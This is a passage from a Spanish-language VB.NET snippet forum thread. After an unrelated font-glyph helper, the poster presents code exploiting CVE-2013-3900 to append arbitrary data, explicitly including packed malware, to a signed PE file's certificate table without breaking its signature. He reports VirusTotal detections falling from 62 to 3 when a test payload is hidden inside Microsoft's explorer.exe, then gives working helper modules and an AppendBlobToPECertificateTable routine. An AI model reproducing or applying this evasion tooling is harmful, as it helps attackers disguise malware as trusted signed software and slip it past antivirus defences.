  188.    ''' The first <see cref="System.Drawing.Font"/> to compare.
  189.    ''' </param>
  190.    '''
  191.    ''' <param name="secondFont">
  192.    ''' The second <see cref="System.Drawing.Font"/> to compare.
  193.    ''' </param>
  194.    '''
  195.    ''' <param name="ch">
  196.    ''' The character whose glyph outlines will be compared between the two fonts.
  197.    ''' </param>
  198.    '''
  199.    ''' <returns>
  200.    ''' A <see cref="Single"/> value between 0.0 and 1.0 representing the similarity
  201.    ''' (the number of matching bytes in the outline data) of the glyph outlines.
  202.    ''' <para></para>
  203.    ''' If one of the fonts has an empty glyph, returns 0. If the glyph outlines are empty in both fonts, returns 1.
  204.    ''' </returns>
  205.    <Extension>
  206.    <EditorBrowsable(EditorBrowsableState.Always)>
  207.    <DebuggerStepThrough>
  208.    Public Function GetGlyphOutlineSimilarity(firstFont As Font, secondFont As Font, ch As Char) As Single
  209.  
  210.        Dim firstBytes As Byte() = FontExtensions.GetGlyphOutlineData(firstFont, ch, GetGlyphOutlineFormat.Native)
  211.        Dim secondBytes As Byte() = FontExtensions.GetGlyphOutlineData(secondFont, ch, GetGlyphOutlineFormat.Native)
  212.  
  213.        If firstBytes Is Nothing AndAlso secondBytes Is Nothing Then
  214.            Return 1.0F
  215.        End If
  216.  
  217.        If (firstBytes Is Nothing) <> (secondBytes Is Nothing) Then
  218.            Return 0.0F
  219.        End If
  220.  
  221.        Dim maxLength As Integer = System.Math.Max(firstBytes.Length, secondBytes.Length)
  222.        Dim minLength As Integer = System.Math.Min(firstBytes.Length, secondBytes.Length)
  223.        Dim equalCount As Integer = 0
  224.  
  225.        For i As Integer = 0 To minLength - 1
  226.            If firstBytes(i) = secondBytes(i) Then
  227.                equalCount += 1
  228.            End If
  229.        Next
  230.  
  231.        Return CSng(equalCount) / maxLength
  232.    End Function
  233.  
  234. End Module
« Última modificación: 3 Septiembre 2025, 01:51 am por Eleкtro » En línea



Eleкtro
Ex-Staff
*
Desconectado Desconectado

Mensajes: 9.959



Ver Perfil
Re: Librería de Snippets para VB.NET !! (Compartan aquí sus snippets)
« Respuesta #604 en: Hoy a las 12:19 »

Métodos universales para demostrar la vulnerabilidad de validación de firmas en WinVerifyTrust.

— Cómo ocultar y ejecutar malware desde un ejecutable firmado digitalmente —

Recientemente, descubrí el siguiente artículo sobre la vulnerabilidad CVE-2013-3900, conocida como la "Vulnerabilidad de validación de firmas en WinVerifyTrust":

  ◉ DeepInstinct - black hat USA 2016: Certificate Bypass: Hiding and Executing Malware from a Digitally Signed Executable

Esta vulnerabilidad afecta a la función WinVerifyTrust de la API de Windows responsable de verificar la autenticidad de las firmas digitales en archivos (exe, dll, etc), y consiste en la capacidad de un atacante para poder modificar un archivo ejecutable firmado, adjuntando código malicioso en la tabla de certificado ¡sin invalidar la firma digital del archivo!, lo que proporciona una técnica de ocultación muy discreta.

La vulnerabilidad se dio a conocer en el año 2013, pero sigue vigente en 2025 (también en Windows 11. De hecho, con más agravio que en versiones anteriores de Windows), y ha sido la forma de ataque a empresas en varias ocasiones (👉 10-Year-Old Windows Vulnerability Exploited in 3CX Attack)





Prueba de indetectabilidad

Vaya por delante que todo esto lo hago con fines educativos. No soy ningún experto en malware, y no experimento con ello. Pero intentaré aportar lo que pueda:

Para ilustrar brevemente la efectividad de esta vulnerabilidad en 2025, podemos usar como ejemplo el EICAR, un archivo de prueba diseñado para evaluar y verificar el funcionamiento del software antivirus. Se trata de un virus simulado que provoca la reacción del motor antivirus, permitiendo demostrar su capacidad para detectar y neutralizar posibles amenazas.

Se puede descargar aquí: https://www.eicar.org/download-anti-malware-testfile/

Para esta prueba utilizaré el archivo eicar_com.zip (el zip comprimido tal cual).

Bien. 👇 Este es el diagnóstico de VirusTotal del archivo eicar_com.zip:

  ◉ 2546dcffc5ad854d4ddc64fbf056871cd5a00f2471cb7a5bfd4ac23b6e9eedad — 62 detecciones de 69 AVs.


👇 Este es el diagnóstico de VirusTotal de una simple aplicación de consola desarrollada en .NET 4.8, que contiene la representación literal en bytes del archivo eicar_com.zip:
Código
  1. Friend Module Module1
  2.  
  3.    Private ReadOnly rawBytes As Byte() = {
  4.        &H50, ... el resto de bytes ...
  5.    }
  6.  
  7.    Sub Main()
  8.    End Sub
  9. End Module

  ◉ 7a11573dbb67f839390c29a3615d4627d419d571ee29f6170cab22d87550f5b1 — 21 detecciones de 72 AVs.


👇 Este es el diagnóstico de VirusTotal de la misma aplicación de consola, pero cifrada con el packer Enigma:

  ◉ eab90e4659a3414e0b09c9036f07318d0356be6382a5198a16ef73621473c0f2 — 23 detecciones de 72 AVs.


Y, por último, 👇 este es el diagnóstico de VirusTotal de un archivo ejecutable firmado, en este caso el propio y legítimo explorer.exe con certificado digital de Microsoft, al que le he adjuntado la aplicación de consola anterior — cifrada con el packer Enigma — al final de la tabla de certificado:

  ◉ 310025562eb9c497615ffcb6040d9fa5ba6de82b272523656d3a585765d85580 — 3 detecciones de 72 AVs.


Y lo mejor de todo, aparte de la reducción en detecciones, es que la firma no se ha invalidado, por lo que a ojos del sistema operativo sigue siendo un archivo legítimo y totalmente confiable 👍:



Cabe mencionar que si solamente adjuntásemos un archivo PE malicioso y sin cifrar a la tabla de certificado, habría muchas detecciones de AVs, y Windows nos advertiría de que la firma no tiene un formato adecuado:



(Sin embargo, la firma sigue siendo válida, solo que Windows ha detectado que la tabla de certificado no sigue un formato apropiado.)
Nota: El hipervínculo mostrado en la advertencia nos llevará al siguiente artículo: MS13-098: Una vulnerabilidad en Windows podría permitir la ejecución remota de código: 10 de diciembre de 2013

Por lo que yo he experimentado, esta advertencia al examinar la firma digital de un archivo solo se produce al adjuntar archivos PE y sin cifrar a la tabla de certificado. Podemos adjuntar cualquier tipo de documento de texto plano, imágenes y videos, que estén sin cifrar, y Windows no mostrará ningún aviso sobre formato incorrecto.

Por que sí, amigos, aunque esto sería un método descubierto y usado principalmente para ocultar malware, también podríamos darle un uso más didáctico y de utilidad para un mayor número de usuarios, como podría ser la capacidad de ocultar documentos o contraseñas de forma segura donde nadie jamás va a ponerse a mirar: en la tabla de certificado de un archivo PE.

Para un archivo con un certificado corrupto, Windows puede mostrar esto:



Y para un archivo con un certificado digital inválido, Windows muestra este mensaje:



(Esa captura de pantalla la he sacado de Internet y la he editado, sí, pero creanme, he invalidado el certificado varias veces y ponía algo así, "El certificado no es válido.")

Sin más dilación, vamos con el código que he desarrollado...



Características principales del código

Estas son las principales funciones que he desarrollado:

AppendBlobToPECertificateTable: Añade un bloque de datos al final de la tabla de certificado de un archivo PE.
RemoveBlobFromPECertificateTable: Elimina un bloque de datos específico de la tabla de certificado de un archivo PE.
RemoveBlobsFromPECertificateTable: Elimina todos los bloques de datos de la tabla de certificado de un archivo PE.
GetBlobsFromPECertificateTable: Devuelve una colección con todos los bloques de datos presentes en la tabla de certificado de un archivo PE.

Además, también he incluído las siguientes funciones auxiliares de utilidad general:

FileIsPortableExecutable: Determina si un archivo es de facto un archivo PE válido.
FileHasCertificateTable: Determina si un archivo PE contiene una tabla de certificado que no esté vacía. No valida la firma ni el contenido de los certificados; solo verifica la presencia de la tabla.
FileHasCertificate: Determina si un archivo PE contiene un certificado válido que se pueda leer/parsear. No valida la cadena de confianza, expiración ni revocación del certificado.
MarshalExtensions.ConvertToStructure y MarshalExtensions.ConvertToBytes
StreamExtensions.ReadExact y StreamExtensions.CopyExactTo

💡 Al final de este hilo muestro un breve ejemplo de uso para todas las funciones principales 👍



El código fuente

Imports necesarios:
Código
  1. Imports System.Collections.Immutable
  2. Imports System.Collections.ObjectModel
  3. Imports System.ComponentModel
  4. Imports System.IO
  5. Imports System.Reflection.PortableExecutable
  6. Imports System.Runtime.CompilerServices
  7. Imports System.Runtime.InteropServices
  8. Imports System.Security.Cryptography
  9. Imports System.Security.Cryptography.X509Certificates
  10. Imports System.Text

Módulo MarshalExtensions:
Código
  1. ''' <summary>
  2. ''' Provides extension methods related to marshaling operations.
  3. ''' </summary>
  4. Public Module MarshalExtensions
  5.  
  6.    ''' <summary>
  7.    ''' Converts a byte array into a managed structure of type <typeparamref name="T"/>.
  8.    ''' </summary>
  9.    '''
  10.    ''' <typeparam name="T">
  11.    ''' The structure type to convert the byte array into.
  12.    ''' </typeparam>
  13.    '''
  14.    ''' <param name="structBytes">
  15.    ''' The byte array containing the raw data for the structure.
  16.    ''' </param>
  17.    '''
  18.    ''' <returns>
  19.    ''' A managed structure of type <typeparamref name="T"/> populated with data from the <paramref name="structBytes"/> byte array.
  20.    ''' </returns>
  21.    <Extension>
  22.    <EditorBrowsable(EditorBrowsableState.Advanced)>
  23.    Public Function ConvertToStructure(Of T As Structure)(structBytes As Byte()) As T
  24.  
  25.        Dim handle As GCHandle = GCHandle.Alloc(structBytes, GCHandleType.Pinned)
  26.        Try
  27.            Return Marshal.PtrToStructure(Of T)(handle.AddrOfPinnedObject())
  28.        Finally
  29.            handle.Free()
  30.        End Try
  31.    End Function
  32.  
  33.    ''' <summary>
  34.    ''' Converts a managed structure of type <typeparamref name="T"/> into a byte array.
  35.    ''' </summary>
  36.    '''
  37.    ''' <typeparam name="T">
  38.    ''' The structure type to convert to a byte array.
  39.    ''' </typeparam>
  40.    '''
  41.    ''' <param name="struct">
  42.    ''' The structure instance to convert.
  43.    ''' </param>
  44.    '''
  45.    ''' <returns>
  46.    ''' A byte array representing the raw memory of the structure.
  47.    ''' </returns>
  48.    <Extension>
  49.    <EditorBrowsable(EditorBrowsableState.Advanced)>
  50.    Public Function ConvertToBytes(Of T As Structure)(struct As T) As Byte()
  51.  
  52.        Dim size As Integer = Marshal.SizeOf(GetType(T))
  53.        Dim bytes(size - 1) As Byte
  54.        Dim ptr As IntPtr = Marshal.AllocHGlobal(size)
  55.        Try
  56.            Marshal.StructureToPtr(struct, ptr, True)
  57.            Marshal.Copy(ptr, bytes, 0, size)
  58.        Finally
  59.            Marshal.FreeHGlobal(ptr)
  60.        End Try
  61.        Return bytes
  62.    End Function
  63.  
  64. End Module

Módulo StreamExtensions:
Código
  1. ''' <summary>
  2. ''' Provides extension methods for <see cref="Stream"/>.
  3. ''' </summary>
  4. Public Module StreamExtensions
  5.  
  6.    ''' <summary>
  7.    ''' Reads exactly the specified amount of bytes from the current stream, and advances the position within the stream.
  8.    ''' </summary>
  9.    '''
  10.    ''' <param name="stream">
  11.    ''' The source <see cref="Stream"/> to read from.
  12.    ''' </param>
  13.    '''
  14.    ''' <param name="count">
  15.    ''' The exact number of bytes to be read from the stream.
  16.    ''' </param>
  17.    '''
  18.    ''' <returns>
  19.    ''' A <see cref="Byte()"/> array containing the bytes read from the stream.
  20.    ''' </returns>
  21.    '''
  22.    ''' <exception cref="ArgumentNullException">
  23.    ''' Thrown if <paramref name="stream"/> is null.
  24.    ''' </exception>
  25.    '''
  26.    ''' <exception cref="ArgumentException">
  27.    ''' Thrown if <paramref name="stream"/> is empty.
  28.    ''' </exception>
  29.    '''
  30.    ''' <exception cref="ArgumentOutOfRangeException">
  31.    ''' Thrown if <paramref name="count"/> is less than or equal to zero.
  32.    ''' <para></para>
  33.    ''' Thrown if <paramref name="count"/> is greater than the bytes available from the current position in the stream.
  34.    ''' </exception>
  35.    '''
  36.    ''' <exception cref="IOException">
  37.    ''' Thrown if <paramref name="stream"/> is not readable.
  38.    ''' </exception>
  39.    '''
  40.    ''' <exception cref="EndOfStreamException">
  41.    ''' Thrown if the stream ends before <paramref name="count"/> bytes are read.
  42.    ''' </exception>
  43.    <Extension>
  44.    <EditorBrowsable(EditorBrowsableState.Always)>
  45.    Public Function ReadExact(stream As Stream, count As Integer) As Byte()
  46.  
  47.        If stream Is Nothing Then
  48.            Throw New ArgumentNullException(paramName:=NameOf(stream))
  49.        End If
  50.  
  51.        If Not stream.CanRead Then
  52.            Dim msg As String = "The source stream does not support reading."
  53.            Throw New IOException(msg)
  54.        End If
  55.  
  56.        If stream.Length <= 0 Then
  57.            Dim msg As String = "The source stream is empty, cannot read any bytes."
  58.            Throw New ArgumentException(msg, paramName:=NameOf(stream))
  59.        End If
  60.  
  61.        If count <= 0 Then
  62.            Dim msg As String = "Count must be greater than 0."
  63.            Throw New ArgumentOutOfRangeException(paramName:=NameOf(count), count, msg)
  64.        End If
  65.  
  66.        If (stream.Position + count) > stream.Length Then
  67.            Dim msg As String = $"Requested {count} bytes, but only {stream.Length - stream.Position} bytes are available from the current position in the source stream."
  68.            Throw New ArgumentOutOfRangeException(paramName:=NameOf(count), count, msg)
  69.        End If
  70.  
  71.        Dim buffer(count - 1) As Byte
  72.        Dim totalRead As Integer
  73.  
  74.        While totalRead < buffer.Length
  75.            Dim read As Integer = stream.Read(buffer, totalRead, buffer.Length - totalRead)
  76.            If read = 0 Then
  77.                Dim msg As String = "Source stream ended before the requested number of bytes were read."
  78.                Throw New EndOfStreamException(msg)
  79.            End If
  80.            totalRead += read
  81.        End While
  82.  
  83.        Return buffer
  84.    End Function
  85.  
  86.    ''' <summary>
  87.    ''' Reads exactly the specified amount of bytes from the current stream and writes them to another stream.
  88.    ''' </summary>
  89.    '''
  90.    ''' <param name="source">
  91.    ''' The <see cref="Stream"/> from which to copy the contents to the <paramref name="destination"/> stream.
  92.    ''' </param>
  93.    '''
  94.    ''' <param name="destination">
  95.    ''' The <see cref="Stream"/> to which the contents of the <paramref name="source"/> stream will be copied.
  96.    ''' </param>
  97.    '''
  98.    ''' <param name="count">
  99.    ''' The exact number of bytes to copy from the source stream.
  100.    ''' </param>
  101.    '''
  102.    ''' <param name="bufferSize">
  103.    ''' The size of the buffer. This value must be greater than zero.
  104.    ''' <para></para>
  105.    ''' The default size is 81920.
  106.    ''' </param>
  107.    '''
  108.    ''' <exception cref="ArgumentNullException">
  109.    ''' Thrown if <paramref name="source"/> or <paramref name="destination"/> are null.
  110.    ''' </exception>
  111.    '''
  112.    ''' <exception cref="ArgumentException">
  113.    ''' Thrown if the <paramref name="source"/> stream is empty.
  114.    ''' </exception>
  115.    '''
  116.    ''' <exception cref="ArgumentOutOfRangeException">
  117.    ''' Thrown if <paramref name="count"/> or <paramref name="bufferSize"/> are less than or equal to zero.
  118.    ''' </exception>
  119.    '''
  120.    ''' <exception cref="IOException">
  121.    ''' Thrown if <paramref name="source"/> stream is not readable or <paramref name="destination"/> stream is not writable.
  122.    ''' </exception>
  123.    '''
  124.    ''' <exception cref="EndOfStreamException">
  125.    ''' Thrown if the <paramref name="source"/> stream ends before <paramref name="count"/> bytes are copied.
  126.    ''' </exception>
  127.    <Extension>
  128.    <EditorBrowsable(EditorBrowsableState.Always)>
  129.    Public Sub CopyExactTo(source As Stream, destination As Stream, count As Integer,
  130.                           Optional bufferSize As Integer = 81920)
  131.  
  132.        If source Is Nothing Then
  133.            Throw New ArgumentNullException(paramName:=NameOf(source))
  134.        End If
  135.  
  136.        If destination Is Nothing Then
  137.            Throw New ArgumentNullException(paramName:=NameOf(destination))
  138.        End If
  139.  
  140.        If Not source.CanRead Then
  141.            Dim msg As String = "The source stream does not support reading."
  142.            Throw New IOException(msg)
  143.        End If
  144.  
  145.        If Not destination.CanWrite Then
  146.            Dim msg As String = "The destination stream does not support writting."
  147.            Throw New IOException(msg)
  148.        End If
  149.  
  150.        If source.Length <= 0 Then
  151.            Dim msg As String = "The source stream is empty, cannot read any bytes."
  152.            Throw New ArgumentException(msg, paramName:=NameOf(source))
  153.        End If
  154.  
  155.        If count <= 0 Then
  156.            Dim msg As String = "Count must be greater than 0."
  157.            Throw New ArgumentOutOfRangeException(paramName:=NameOf(count), count, msg)
  158.        End If
  159.  
  160.        If bufferSize <= 0 Then
  161.            Dim msg As String = "Buffer size must be greater than 0."
  162.            Throw New ArgumentOutOfRangeException(paramName:=NameOf(bufferSize), bufferSize, msg)
  163.        End If
  164.  
  165.        Dim buffer(bufferSize - 1) As Byte
  166.        Dim remaining As Integer = count
  167.  
  168.        While remaining > 0
  169.            Dim toRead As Integer = Math.Min(buffer.Length, remaining)
  170.            Dim read As Integer = source.Read(buffer, 0, toRead)
  171.            If read = 0 Then
  172.                Dim msg As String = "Source stream ended before the requested number of bytes were copied."
  173.                Throw New EndOfStreamException(msg)
  174.            End If
  175.            destination.Write(buffer, 0, read)
  176.            remaining -= read
  177.        End While
  178.    End Sub
  179.  
  180. End Module

El código continúa aquí abajo 👇🙂
« Última modificación: Hoy a las 19:40 por Eleкtro » En línea



Eleкtro
Ex-Staff
*
Desconectado Desconectado

Mensajes: 9.959



Ver Perfil
Re: Librería de Snippets para VB.NET !! (Compartan aquí sus snippets)
« Respuesta #605 en: Hoy a las 12:28 »

Clase PortableExecutableUtil (1ª PARTE):

Nota: Para que me cupiera el código en este post, he tenido que eliminar TODA la documentación XML en torno a las excepciones de cada método, además de los códigos de ejemplo que había embedidos en la documentación (de todas formas en el siguiente post muestro ejemplos de uso). Disculpas. 🙏

Código
  1. ''' <summary>
  2. ''' Utility class for working with Portable Executable (PE) files.
  3. ''' </summary>
  4. Partial Public Class PortableExecutableUtil
  5.  
  6.    Private Sub New()
  7.    End Sub
  8.  
  9.    ''' <summary>
  10.    ''' Appends an arbitrary data blob to the Certificate Table data-directory entry
  11.    ''' in the Portable Executable (PE) header of the given file.
  12.    ''' </summary>
  13.    '''
  14.    ''' <param name="inputFilePath">
  15.    ''' Path to the input —digitally signed— Portable Executable (PE) file (e.g., "C:\Windows\explorer.exe").
  16.    ''' </param>
  17.    '''
  18.    ''' <param name="outputFilePath">
  19.    ''' Path to the output file that will be written with the modified Certificate Table.
  20.    ''' <para></para>
  21.    ''' Cannot be the same as <paramref name="inputFilePath"/>.
  22.    ''' </param>
  23.    '''
  24.    ''' <param name="blob">
  25.    ''' A <see cref="Byte()"/> array containing the arbitrary data blob to append into the certificate table.
  26.    ''' </param>
  27.    '''
  28.    ''' <param name="markerBegin">
  29.    ''' Optional. A byte sequence used to mark the beginning of the data blob within the Certificate Table content.
  30.    ''' <para></para>
  31.    ''' Cannot be null or empty. Default value is "<c>#CERT_BLOB_BEGIN#</c>" in UTF-8 encoding bytes.
  32.    ''' <para></para>
  33.    ''' It is strongly recommended to use a unique and long enough byte pattern
  34.    ''' to avoid accidental conflicts when identifying/extracting the appended blob.
  35.    ''' </param>
  36.    '''
  37.    ''' <param name="markerEnd">
  38.    ''' Optional. A byte sequence used to mark the end of the data blob within the Certificate Table content.
  39.    ''' <para></para>
  40.    ''' Cannot be null or empty. Default value is "<c>#CERT_BLOB_END#</c>" in UTF-8 encoding bytes.
  41.    ''' <para></para>
  42.    ''' It is strongly recommended to use a unique and long enough byte pattern
  43.    ''' to avoid accidental conflicts when identifying/extracting the appended blob.
  44.    ''' </param>
  45.    '''
  46.    ''' <param name="throwIfInvalidCertSize">
  47.    ''' Optional. Determines whether to allow appending data that will cause to exceed the maximum allowed certificate table size (~100 MB).
  48.    ''' <para></para>
  49.    ''' If set to <see langword="True"/>, the method will throw an <see cref="InvalidOperationException"/>
  50.    ''' if the appended data would cause the certificate table size to exceed the maximum allowed limit,
  51.    ''' preventing digital signature invalidation.
  52.    ''' <para></para>
  53.    ''' If set to <see langword="False"/>, the certificate table size limit can be exceeded (up to ~2 GB) when appending data,
  54.    ''' but the digital signature will become invalid, as the operating system will
  55.    ''' not recognize a certificate table greater than the maximum allowed size.
  56.    ''' Use it at your own risk.
  57.    ''' <para></para>
  58.    ''' Default value is <see langword="True"/>.
  59.    ''' </param>
  60.    '''
  61.    ''' <param name="overwriteOutputFile">
  62.    ''' If <see langword="False"/> and the output file already exists, the method throws an <see cref="IOException"/>.
  63.    ''' <para></para>
  64.    ''' If <see langword="True"/>, any existing output file will be overwritten.
  65.    ''' <para></para>
  66.    ''' Default value is <see langword="False"/>.
  67.    ''' </param>
  68.    <DebuggerStepThrough>
  69.    Public Shared Sub AppendBlobToPECertificateTable(inputFilePath As String,
  70.                                                     outputFilePath As String,
  71.                                                     blob As Byte(),
  72.                                                     Optional markerBegin As Byte() = Nothing,
  73.                                                     Optional markerEnd As Byte() = Nothing,
  74.                                                     Optional throwIfInvalidCertSize As Boolean = True,
  75.                                                     Optional overwriteOutputFile As Boolean = False)
  76.  
  77.        ValidateCommonParameters((NameOf(blob), blob))
  78.  
  79.        Using ms As New MemoryStream(blob)
  80.            AppendBlobToPECertificateTable(inputFilePath, outputFilePath,
  81.                                           ms, markerBegin, markerEnd,
  82.                                           throwIfInvalidCertSize, overwriteOutputFile)
  83.        End Using
  84.    End Sub
  85.  
  86.    ''' <summary>
  87.    ''' Appends an arbitrary data blob to the Certificate Table data-directory entry
  88.    ''' in the Portable Executable (PE) header of the given file.
  89.    ''' </summary>
  90.    '''
  91.    ''' <param name="inputFilePath">
  92.    ''' Path to the input —digitally signed— Portable Executable (PE) file (e.g., "C:\Windows\explorer.exe").
  93.    ''' </param>
  94.    '''
  95.    ''' <param name="outputFilePath">
  96.    ''' Path to the output file that will be written with the modified Certificate Table.
  97.    ''' <para></para>
  98.    ''' Cannot be the same as <paramref name="inputFilePath"/>.
  99.    ''' </param>
  100.    '''
  101.    ''' <param name="blobStream">
  102.    ''' The <see cref="Stream"/> containing the arbitrary data to append into the certificate table.
  103.    ''' </param>
  104.    '''
  105.    ''' <param name="markerBegin">
  106.    ''' Optional. A byte sequence used to mark the beginning of the data blob within the Certificate Table content.
  107.    ''' <para></para>
  108.    ''' Cannot be null or empty. Default value is "<c>#CERT_BLOB_BEGIN#</c>" in UTF-8 encoding bytes.
  109.    ''' <para></para>
  110.    ''' It is strongly recommended to use a unique and long enough byte pattern
  111.    ''' to avoid accidental conflicts when identifying/extracting the appended blob.
  112.    ''' </param>
  113.    '''
  114.    ''' <param name="markerEnd">
  115.    ''' Optional. A byte sequence used to mark the end of the data blob within the Certificate Table content.
  116.    ''' <para></para>
  117.    ''' Cannot be null or empty. Default value is "<c>#CERT_BLOB_END#</c>" in UTF-8 encoding bytes.
  118.    ''' <para></para>
  119.    ''' It is strongly recommended to use a unique and long enough byte pattern
  120.    ''' to avoid accidental conflicts when identifying/extracting the appended blob.
  121.    ''' </param>
  122.    '''
  123.    ''' <param name="throwIfInvalidCertSize">
  124.    ''' Optional. Determines whether to allow appending data that will cause to exceed the maximum allowed certificate table size (~100 MB).
  125.    ''' <para></para>
  126.    ''' If set to <see langword="True"/>, the method will throw an <see cref="InvalidOperationException"/>
  127.    ''' if the appended data would cause the certificate table size to exceed the maximum allowed limit,
  128.    ''' preventing digital signature invalidation.
  129.    ''' <para></para>
  130.    ''' If set to <see langword="False"/>, the certificate table size limit can be exceeded (up to ~2 GB) when appending data,
  131.    ''' but the digital signature will become invalid, as the operating system will
  132.    ''' not recognize a certificate table greater than the maximum allowed size.
  133.    ''' Use it at your own risk.
  134.    ''' <para></para>
  135.    ''' Default value is <see langword="True"/>.
  136.    ''' </param>
  137.    '''
  138.    ''' <param name="overwriteOutputFile">
  139.    ''' If <see langword="False"/> and the output file already exists, the method throws an <see cref="IOException"/>.
  140.    ''' <para></para>
  141.    ''' If <see langword="True"/>, any existing output file will be overwritten.
  142.    ''' <para></para>
  143.    ''' Default value is <see langword="False"/>.
  144.    ''' </param>
  145.    <DebuggerStepThrough>
  146.    Public Shared Sub AppendBlobToPECertificateTable(inputFilePath As String,
  147.                                                     outputFilePath As String,
  148.                                                     blobStream As Stream,
  149.                                                     Optional markerBegin As Byte() = Nothing,
  150.                                                     Optional markerEnd As Byte() = Nothing,
  151.                                                     Optional throwIfInvalidCertSize As Boolean = True,
  152.                                                     Optional overwriteOutputFile As Boolean = False)
  153.  
  154.        ValidateCommonParameters((NameOf(inputFilePath), inputFilePath),
  155.                                 (NameOf(outputFilePath), outputFilePath),
  156.                                 (NameOf(blobStream), blobStream),
  157.                                 (NameOf(markerBegin), markerBegin),
  158.                                 (NameOf(markerEnd), markerEnd),
  159.                                 (NameOf(overwriteOutputFile), overwriteOutputFile))
  160.  
  161.        ' PE header alignment (it is aligned on 8-byte boundary).
  162.        ' https://learn.microsoft.com/en-us/windows/win32/debug/pe-format#overview
  163.        Const PeHeaderAlignment As Short = 8
  164.  
  165.        ' Maximum Certificate Table size, in bytes, not counting the alignment (PeHeaderAlignment) bytes.
  166.        ' If a Certificate Table exceeds this size (MaxCertTableSize + PeHeaderAlignment),
  167.        ' the operating system rejects to parse the certificate.
  168.        ' Note: This limit is somewhat arbitrary, derived from testing on Windows 10.
  169.        Const MaxCertTableSize As Integer = 102400000
  170.        ' Kibibytes (KiB): 100000
  171.        ' Kilobytes  (KB): 102400
  172.        ' Mebibytes (MiB): 97.65625
  173.        ' Megabytes  (MB): 102.40
  174.  
  175.        Dim metaStructSize As Integer = Marshal.SizeOf(GetType(CertBlobMeta))
  176.  
  177.        Dim dataWithMarkersSize As Long = markerBegin.Length + metaStructSize + blobStream.Length + markerEnd.Length
  178.  
  179.        If throwIfInvalidCertSize AndAlso (dataWithMarkersSize > MaxCertTableSize) Then
  180.            Dim msg As String =
  181.                $"The size of the data to append ({NameOf(markerBegin)} + {NameOf(blobStream)} + {NameOf(markerEnd)} = {dataWithMarkersSize} bytes) " &
  182.                $"exceeds the maximum allowed certificate table size ({MaxCertTableSize} bytes), which would invalidate the digital signature."
  183.  
  184.            Throw New InvalidOperationException(msg)
  185.        End If
  186.  
  187.        Dim inputFileInfo As New FileInfo(inputFilePath)
  188.        Dim inputFileLength As Long = inputFileInfo.Length
  189.        If inputFileLength > Integer.MaxValue Then
  190.            Dim msg As String = $"The input file '{inputFilePath}' is too large ({inputFileLength} bytes). " &
  191.                                $"Maximum supported file size is around {Integer.MaxValue} bytes."
  192.            Throw New IOException(msg)
  193.        End If
  194.  
  195.        Using fsInput As New FileStream(inputFileInfo.FullName, FileMode.Open, FileAccess.Read, FileShare.Read, 8192 * 2, FileOptions.None),
  196.              peReader As New PEReader(fsInput, PEStreamOptions.Default)
  197.  
  198.            Dim headers As PEHeaders = Nothing
  199.            Dim certDirRVA As Integer, certDirSize As Integer
  200.            ValidatePEHeaderAndCertDir(peReader, headers, certDirRVA, certDirSize)
  201.  
  202.            ' Calculate aligned new certificate table size.
  203.            Dim newCertDirSizeCandidate As Long = certDirSize + dataWithMarkersSize
  204.            Dim newCertDirSizeAligned As Long = CLng(Math.Ceiling(newCertDirSizeCandidate / PeHeaderAlignment)) * PeHeaderAlignment
  205.  
  206.            If (inputFileLength - certDirSize) + newCertDirSizeAligned > Integer.MaxValue Then
  207.                Dim msg As String = $"The required total size to create the output file ({newCertDirSizeAligned} bytes) " &
  208.                                     "exceeds the practical limit for the Portable Executable."
  209.                Throw New InvalidOperationException(msg)
  210.            End If
  211.  
  212.            If throwIfInvalidCertSize AndAlso (newCertDirSizeAligned > MaxCertTableSize + PeHeaderAlignment) Then
  213.                Dim msg As String =
  214.                    $"The size for the new certificate table ({newCertDirSizeAligned} bytes) " &
  215.                    $"exceeds the maximum allowed certificate table size ({MaxCertTableSize} + {PeHeaderAlignment} bytes), " &
  216.                    "which would invalidate the digital signature."
  217.                Throw New InvalidOperationException(msg)
  218.            End If
  219.  
  220.            Dim totalBytesLengthToAdd As Long = newCertDirSizeAligned - certDirSize
  221.            Dim paddingLength As Integer = CInt(totalBytesLengthToAdd - dataWithMarkersSize)
  222.  
  223.            ' Create the blob meta structure.
  224.            Dim meta As New CertBlobMeta With {
  225.                .BlobSize = CInt(blobStream.Length),
  226.                .PaddingLength = paddingLength
  227.            }
  228.            Dim metaBytes As Byte() = MarshalExtensions.ConvertToBytes(meta)
  229.  
  230.            ' Write changes to output file.
  231.            Using fsOutput As New FileStream(outputFilePath, If(overwriteOutputFile, FileMode.Create, FileMode.CreateNew),
  232.                                             FileAccess.Write, FileShare.Read, bufferSize:=8192 * 2, FileOptions.None)
  233.  
  234.                Dim writeBufferSize As Integer = 8192 * 2
  235.                Dim writeBuffer(writeBufferSize - 1) As Byte
  236.  
  237.                ' Write head (0 to certDirRVA-1)
  238.                fsInput.Position = 0
  239.                StreamExtensions.CopyExactTo(fsInput, fsOutput, certDirRVA)
  240.  
  241.                ' Write original certificate table.
  242.                fsInput.Position = certDirRVA
  243.                StreamExtensions.CopyExactTo(fsInput, fsOutput, certDirSize)
  244.  
  245.                ' Append markerBegin + metaBytes + blobStream + markerEnd + padding (if required to align).
  246.                fsOutput.Write(markerBegin, 0, markerBegin.Length)
  247.                fsOutput.Write(metaBytes, 0, metaStructSize)
  248.                StreamExtensions.CopyExactTo(blobStream, fsOutput, CInt(blobStream.Length))
  249.                fsOutput.Write(markerEnd, 0, markerEnd.Length)
  250.                If paddingLength > 0 Then
  251.                    fsOutput.Write(New Byte(paddingLength - 1) {}, 0, paddingLength)
  252.                End If
  253.  
  254.                ' Copy any original remainder bytes (tail).
  255.                Dim tailStart As Integer = certDirRVA + certDirSize
  256.                If tailStart < fsInput.Length Then
  257.                    fsInput.Position = tailStart
  258.                    Dim remainingTail As Integer = CInt(fsInput.Length - tailStart)
  259.                    StreamExtensions.CopyExactTo(fsInput, fsOutput, remainingTail)
  260.                End If
  261.  
  262.                UpdateCertificateTableLengths(fsInput, fsOutput, headers, certDirRVA, CUInt(certDirSize + totalBytesLengthToAdd))
  263.            End Using ' fsOutput
  264.        End Using ' fsInput, peReader
  265.    End Sub
  266.  
  267.    ''' <summary>
  268.    ''' Retrieves all the data blobs —that are enclosed between the specified <paramref name="markerBegin"/> and <paramref name="markerEnd"/> markers—
  269.    ''' from the Certificate Table data-directory entry in the Portable Executable (PE) header of the given file.
  270.    ''' <para></para>
  271.    ''' These blobs must have been previously added with the <see cref="AppendBlobToPECertificateTable"/> function.
  272.    ''' </summary>
  273.    '''
  274.    ''' <param name="filePath">
  275.    ''' Path to the input —digitally signed— Portable Executable (PE) file
  276.    ''' from which to extract data blobs (e.g., "C:\Windows\explorer.exe").
  277.    ''' </param>
  278.    '''
  279.    ''' <param name="markerBegin">
